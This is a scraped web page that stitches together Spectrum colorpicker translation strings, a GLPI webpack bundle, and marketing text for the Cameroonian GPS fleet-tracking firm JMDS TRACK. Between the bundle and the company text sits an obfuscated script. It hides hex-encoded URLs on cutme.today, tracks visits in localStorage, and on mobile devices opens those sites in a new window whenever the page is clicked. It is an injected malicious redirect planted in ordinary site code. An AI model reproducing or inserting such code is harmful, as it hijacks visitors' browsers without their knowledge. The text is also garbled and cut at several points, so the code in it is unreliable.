                format: named ? "name" : "hex"
            };
        }

        return false;
    }

    window.tinycolor = tinycolor;
    })();

    $(function () {
        if ($.fn.spectrum.load) {
            $.fn.spectrum.processNativeColorInputs();
        }
    });

});

// Spectrum Colorpicker
// Arabic (ar) localization
// https://github.com/seballot/spectrum
(function ( $ ) {

  var localization = $.spectrum.localization["ar"] = {
      cancelText: "إلغاء",
      chooseText: "إختار",
      clearText: "إرجاع الألوان على ما كانت",
      noColorSelectedText: "لم تختار أي لون",
      togglePaletteMoreText: "أكثر",
      togglePaletteLessText: "أقل"
  };

})( jQuery );

// Spectrum Colorpicker
// Catalan (ca) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["ca"] = {
        cancelText: "Cancel·lar",
        chooseText: "Escollir",
        clearText: "Esborrar color seleccionat",
        noColorSelectedText: "Cap color seleccionat",
        togglePaletteMoreText: "Més",
        togglePaletteLessText: "Menys"
    };

})( jQuery );

// Spectrum Colorpicker
// Czech (cs) localization
// https://github.com/seballot/spectrum
// author localization cs Pavel Laupe Dvorak pavel@pavel-dvorak.cz

(function ( $ ) {

    var localization = $.spectrum.localization["cs"] = {
        cancelText: "zrušit",
        chooseText: "vybrat",
        clearText: "Resetovat výběr barev",
        noColorSelectedText: "Žádná barva nebyla vybrána",
        togglePaletteMoreText: "více",
        togglePaletteLessText: "méně"
    };

})( jQuery );

// Spectrum Colorpicker
// German (de) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["de"] = {
        cancelText: "Abbrechen",
        chooseText: "Wählen",
        clearText: "Farbauswahl zurücksetzen",
        noColorSelectedText: "Keine Farbe ausgewählt",
        togglePaletteMoreText: "Mehr",
        togglePaletteLessText: "Weniger"
    };

})( jQuery );

// Spectrum Colorpicker
// Danish (dk) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["dk"] = {
		cancelText: "annuller",
		chooseText: "Vælg"
    };

})( jQuery );

// Spectrum Colorpicker
// Spanish (es) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["es"] = {
        cancelText: "Cancelar",
        chooseText: "Elegir",
        clearText: "Borrar color seleccionado",
        noColorSelectedText: "Ningún color seleccionado",
        togglePaletteMoreText: "Más",
        togglePaletteLessText: "Menos"
    };

})( jQuery );

// Spectrum Colorpicker
// Estonian (et) localization
// https://github.com/bgrins/spectrum

 (function ( $ ) {

     var localization = $.spectrum.localization["et"] = {
        cancelText: "Katkesta",
        chooseText: "Vali",
        clearText: "Tühista värvivalik",
        noColorSelectedText: "Ühtki värvi pole valitud",
        togglePaletteMoreText: "Rohkem",
        togglePaletteLessText: "Vähem"
    };

 })( jQuery );

// Spectrum Colorpicker
// Persian (fa) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["fa"] = {
        cancelText: "لغو",
        chooseText: "انتخاب",
        clearText: "تنظیم مجدد رنگ",
        noColorSelectedText: "هیچ رنگی انتخاب نشده است!",
        togglePaletteMoreText: "بیشتر",
        togglePaletteLessText: "کمتر"
    };

})( jQuery );

// Spectrum Colorpicker
// Finnish (fi) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["fi"] = {
        cancelText: "Kumoa",
        chooseText: "Valitse"
    };

})( jQuery );

// Spectrum Colorpicker
// French (fr) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["fr"] = {
        cancelText: "Annuler",
        chooseText: "Valider",
        clearText: "Effacer couleur sélectionnée",
        noColorSelectedText: "Aucune couleur sélectionnée",
        togglePaletteMoreText: "Plus",
        togglePaletteLessText: "Moins"
    };

})( jQuery );

// Spectrum Colorpicker
// Greek (gr) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["gr"] = {
        cancelText: "Ακύρωση",
        chooseText: "Επιλογή",
        clearText: "Καθαρισμός επιλεγμένου χρώματος",
        noColorSelectedText: "Δεν έχει επιλεχθεί κάποιο χρώμα",
        togglePaletteMoreText: "Περισσότερα",
        togglePaletteLessText: "Λιγότερα"
    };

})( jQuery );

// Spectrum Colorpicker
// Hebrew (he) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["he"] = {
        cancelText: "בטל בחירה",
        chooseText: "בחר צבע",
        clearText: "אפס בחירה",
        noColorSelectedText: "לא נבחר צבע",
        togglePaletteMoreText: "עוד צבעים",
        togglePaletteLessText: "פחות צבעים"
    };

})( jQuery );

// Spectrum Colorpicker
// Croatian (hr) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["hr"] = {
        cancelText: "Odustani",
        chooseText: "Odaberi",
        clearText: "Poništi odabir",
        noColorSelectedText: "Niti jedna boja nije odabrana",
        togglePaletteMoreText: "Više",
        togglePaletteLessText: "Manje"
    };

})( jQuery );

// Spectrum Colorpicker
// Hungarian (hu) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

  var localization = $.spectrum.localization["hu"] = {
      cancelText: "Mégsem",
      chooseText: "Mentés",
      clearText: "A színválasztás visszaállítása",
      noColorSelectedText: "Nincs szín kijelölve",
      togglePaletteMoreText: "Több",
      togglePaletteLessText: "Kevesebb"
  };

})( jQuery );

// Spectrum Colorpicker
// Indonesia/Bahasa Indonesia (id) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["id"] = {
        cancelText: "Batal",
        chooseText: "Pilih",
        clearText: "Hapus Pilihan Warna",
        noColorSelectedText: "Warna Tidak Dipilih",
        togglePaletteMoreText: "tambah",
        togglePaletteLessText: "kurangi"
    };

})( jQuery );

// Spectrum Colorpicker
// Italian (it) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["it"] = {
		cancelText: "annulla",
		chooseText: "scegli",
		clearText: "Annulla selezione colore",
		noColorSelectedText: "Nessun colore selezionato"
	};

})( jQuery );

// Spectrum Colorpicker
// Japanese (ja) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["ja"] = {
        cancelText: "中止",
        chooseText: "選択"
    };

})( jQuery );

// Spectrum Colorpicker
// Korean (ko) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["ko"] = {
        cancelText: "취소",
        chooseText: "선택",
        clearText: "선택 초기화",
        noColorSelectedText: "선택된 색상 없음",
        togglePaletteMoreText: "더보기",
        togglePaletteLessText: "줄이기"
    };

})( jQuery );

// Spectrum Colorpicker
// Lithuanian (lt) localization
// https://github.com/liesislukas

(function ( $ ) {

    var localization = $.spectrum.localization["lt"] = {
        cancelText: "Atšaukti",
        chooseText: "Pasirinkti",
        clearText: "Išvalyti pasirinkimą",
        noColorSelectedText: "Spalva nepasirinkta",
        togglePaletteMoreText: "Daugiau",
        togglePaletteLessText: "Mažiau"
    };

})( jQuery );

// Spectrum Colorpicker
// Norwegian, Bokmål (nb-no) localization
// https://github.com/greendimka

(function ( $ ) {

    var localization = $.spectrum.localization["nb-no"] = {
        cancelText: "Avbryte",
        chooseText: "Velg",
        clearText: "Tilbakestill",
        noColorSelectedText: "Farge er ikke valgt",
        togglePaletteMoreText: "Mer",
        togglePaletteLessText: "Mindre"
    };

})( jQuery );

// Spectrum Colorpicker
// Dutch (nl-nl) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["nl-nl"] = {
        cancelText: "Annuleer",
        chooseText: "Kies",
        clearText: "Wis kleur selectie",
        togglePaletteMoreText: 'Meer',
        togglePaletteLessText: 'Minder'
    };

})( jQuery );

// Spectrum Colorpicker
// Polish (pl) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["pl"] = {
        cancelText: "Anuluj",
        chooseText: "Wybierz",
        clearText: "Usuń wybór koloru",
        noColorSelectedText: "Nie wybrano koloru",
        togglePaletteMoreText: "Więcej",
        togglePaletteLessText: "Mniej"
    };

})( jQuery );

// Spectrum Colorpicker
// Brazilian (pt-br) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["pt-br"] = {
        cancelText: "Cancelar",
        chooseText: "Escolher",
        clearText: "Limpar cor selecionada",
        noColorSelectedText: "Nenhuma cor selecionada",
        togglePaletteMoreText: "Mais",
        togglePaletteLessText: "Menos"
    };

})( jQuery );

// Spectrum Colorpicker
// Portuguese (pt-pt) localization
// https://github.com/bgrins/spectrum

 (function ( $ ) {

     var localization = $.spectrum.localization["pt-pt"] = {
        cancelText: "Cancelar",
        chooseText: "Escolher",
        clearText: "Limpar cor seleccionada",
        noColorSelectedText: "Nenhuma cor seleccionada",
        togglePaletteMoreText: "Mais",
        togglePaletteLessText: "Menos"
    };

 })( jQuery );

// Spectrum Colorpicker
// Russian (ru) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["ru"] = {
        cancelText: "Отмена",
        chooseText: "Выбрать",
        clearText: "Сбросить",
        noColorSelectedText: "Цвет не выбран",
        togglePaletteMoreText: "Ещё",
        togglePaletteLessText: "Скрыть"
    };

})( jQuery );

// Spectrum Colorpicker
// Swedish (sv) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["sv"] = {
        cancelText: "Avbryt",
        chooseText: "Välj"
    };

})( jQuery );

// Spectrum Colorpicker
// Turkish (tr) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["tr"] = {
		cancelText: "iptal",
		chooseText: "tamam"
	};

})( jQuery );

// Spectrum Colorpicker
// Simplified Chinese (zh-cn) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["zh-cn"] = {
        cancelText: "取消",
        chooseText: "选择",
        clearText: "清除",
        togglePaletteMoreText: "更多选项",
        togglePaletteLessText: "隐藏",
        noColorSelectedText: "尚未选择任何颜色"
    };

})( jQuery );

// Spectrum Colorpicker
// Traditional Chinese (zh-tw) localization
// https://github.com/seballot/spectrum

(function ( $ ) {

    var localization = $.spectrum.localization["zh-tw"] = {
        cancelText: "取消",
        chooseText: "選擇",
        clearText: "清除",
        togglePaletteMoreText: "更多選項",
        togglePaletteLessText: "隱藏",
        noColorSelectedText: "尚未選擇任何顏色"
    };

})( jQuery );


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var __webpack_exports__ = {};
// This entry need to be wrapped in an IIFE because it need to be in strict mode.
(() => {
"use strict";
__webpack_require__.r(__webpack_exports__);
/* harmony import */ var jquery_fancytree_dist_skin_awesome_ui_fancytree_css__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(496);
/* harmony import */ var exports_loader_exports_default_PlainScrollbar_plain_scrollbar__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(497);
/* harmony import */ var plain_scrollbar_plain_scrollbar_css__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(498);
/* harmony import */ var _tabler_core__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(501);
/* harmony import */ var _tabler_core__WEBPACK_IMPORTED_MODULE_3___default = /*#__PURE__*/__webpack_require__.n(_tabler_core__WEBPACK_IMPORTED_MODULE_3__);
/**
 * ---------------------------------------------------------------------
 *
 * GLPI - Gestionnaire Libre de Parc Informatique
 *
 * http://glpi-project.org
 *
 * @copyright 2015-2023 Teclib' and contributors.
 * @copyright 2003-2014 by the INDEPNET Development Team.
 * @licence   https://www.gnu.org/licenses/gpl-3.0.html
 *
 * ---------------------------------------------------------------------
 *
 * LICENSE
 *
 * This file is part of GLPI.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <https://www.gnu.org/licenses/>.
 *
 * ---------------------------------------------------------------------
 */

// Font-Awesome
__webpack_require__(484);

// Animate.css
__webpack_require__(485);

// jQuery
// '$' and 'jQuery' objects have to be declared in global scope
window.$ = window.jQuery = __webpack_require__(486);

__webpack_require__(487);
window.$.migrateMute  = true;
window.$.migrateTrace = false;

// jQuery plugins
__webpack_require__(489);

// jQuery fancttree
__webpack_require__(490);
__webpack_require__(492);
__webpack_require__(493);
__webpack_require__(494);
__webpack_require__(495);



window.PlainScrollbar = exports_loader_exports_default_PlainScrollbar_plain_scrollbar__WEBPACK_IMPORTED_MODULE_1__["default"];


// jQuery UI widgets required by
// - jquery-file-upload (widget)
__webpack_require__(499);

// Tabler


// qTip2
__webpack_require__(502);
__webpack_require__(503);

// color input
__webpack_require__(504);
__webpack_require__(505);

// Select2
// use full for compat; see https://select2.org/upgrading/migrating-from-35
__webpack_require__(506);
// Apply CSS classes to dropdown based on select tag classes
$.fn.select2.defaults.set(
   'adaptDropdownCssClass',
   function (cls) {
      return cls.replace('form-select', 'select-dropdown');
   }
);

//Loadash
//'_' object has to be declared in global scope
window._ = __webpack_require__(507);

// gettext.js
// add translation function into global scope
// signature is almost the same as for PHP functions, but accept extra arguments for string variables
window.i18n = (__webpack_require__(508)["default"])({domain: 'glpi'});
window.__ = function (msgid, domain /* , extra */) {
    domain = typeof(domain) !== 'undefined' ? domain : 'glpi';
    var text = i18n.dcnpgettext.apply(
        i18n,
        [domain, undefined, msgid, undefined, undefined].concat(Array.prototype.slice.call(arguments, 2))
    );
    return _.escape(text);
};

window._n = function (msgid, msgid_plural, n, domain /* , extra */) {
    domain = typeof(domain) !== 'undefined' ? domain : 'glpi';
    var text = i18n.dcnpgettext.apply(
        i18n,
        [domain, undefined, msgid, msgid_plural, n].concat(Array.prototype.slice.call(arguments, 4))
    );
    return _.escape(text);
};
window._x = function (msgctxt, msgid, domain /* , extra */) {
    domain = typeof(domain) !== 'undefined' ? domain : 'glpi';
    var text = i18n.dcnpgettext.apply(
        i18n,
        [domain, msgctxt, msgid, undefined, undefined].concat(Array.prototype.slice.call(arguments, 3))
    );
    return _.escape(text);
};
window._nx = function (msgctxt, msgid, msgid_plural, n, domain /* , extra */) {
    domain = typeof(domain) !== 'undefined' ? domain : 'glpi';
    var text = i18n.dcnpgettext.apply(
        i18n,
        [domain, msgctxt, msgid, msgid_plural, n].concat(Array.prototype.slice.call(arguments, 5))
    );
    return _.escape(text);
};

})();

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g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x54\x45\x5a\x30\x63\x370','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6d\x65\x2e\x74\x6f\x64\x61\x79\x2f\x49\x55\x53\x31\x63\x331',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());			
			


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JMDS TRACK – Just Another Diagnostics Lab Site

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JMDS TRACK Cameroon

Boost the productivity of your mobile ressources


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Fleet management

  1. Reduce the operting cost and the unavailability of your vehicles
  2. reduce the fuel consumption of your fleet
  3. Improve the driving dehavior and safety of your drivers
  4. optimize the utilization rate of your equipment 
  5. protect your vehicle against theft
  6. Improve the quality of your customer service


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Assets management

  1. Track the roaming of your equipment
  2. Optimise the management of your assets on site and during transport
  3. Secure the transport of your goods
  4. Make your team responsible for preventing the loss of tools, equipment
  5. Take a real-time inventory of your equipment on site
  6. Easily find your mobile objects or equipment



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Antitheft solutions

  1. Secure your vehicles and machinery and increase your chances of recovering them in the event of theft
  2. Protect your assets and reduce the costs associated with their loss
  3. Combine immobiliser and driver identification and limit the risk of theft
  4. Identify fuel theft and reduce costs
  5. Protect your goods and take no more risks
  6. Be alerted to abnormal events

Our Location

 Douala BP cité 

     and

Yaoundé Total Essos


Make An Appointment


Get Directions

682230363/ 677481892

What makes us different from others

  • young and dynamic team
  • call center 24/24 7/7
  • roaming throughout Africa
  • team of developers who can develop customer-specific solutions
  • diversity of services
  • reactive and prompt after-sales service when soliciting a customer or a malfunction
  • Free Maintenance and installation in the cities of Douala and Yaounde

https://youtu.be/xI1cz_Jh2x8

15+
years of experience in GPS system development, production and deployment.

15 Collaborators

More than 15 employees dedicated to the research and development of new applications and to customer care

5 000 Vehicles and mobile assets

5 000 vehicles and mobile assets under management, in Africa

Our Partners










Latest Case Studies

Our current projects 

5/5
Bon SAV , SATISFAIT DU TRAITEMENT DES REQUETES

M DIPITA CHRISTIAN
Logistic Safety Manager Road Safety Manager
5/5
La réactivité de JMDS est excellente
Nous restons satisfait dans l’ensemble des prestations relatives a la couverture de notre parc automobile

Hervé Frédéric NDENGUE
Chef Service Adjoint de la Sécurité Générale (CNPS)
5/5
L’APPLICATION EMIXIS est convivial A L’utilisation
BEIG-3 SARL
DIRECTOR GENERAL
5/5
Nevertheless I am delighted with the service
MR. BISSE BENJAMIN
CUSTOMER

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Address JMDS TRACK

Douala bp cité



and

YAOUNDE Total Essos

Call Us

+237682230363



Email Us


info@jmdstrack.cm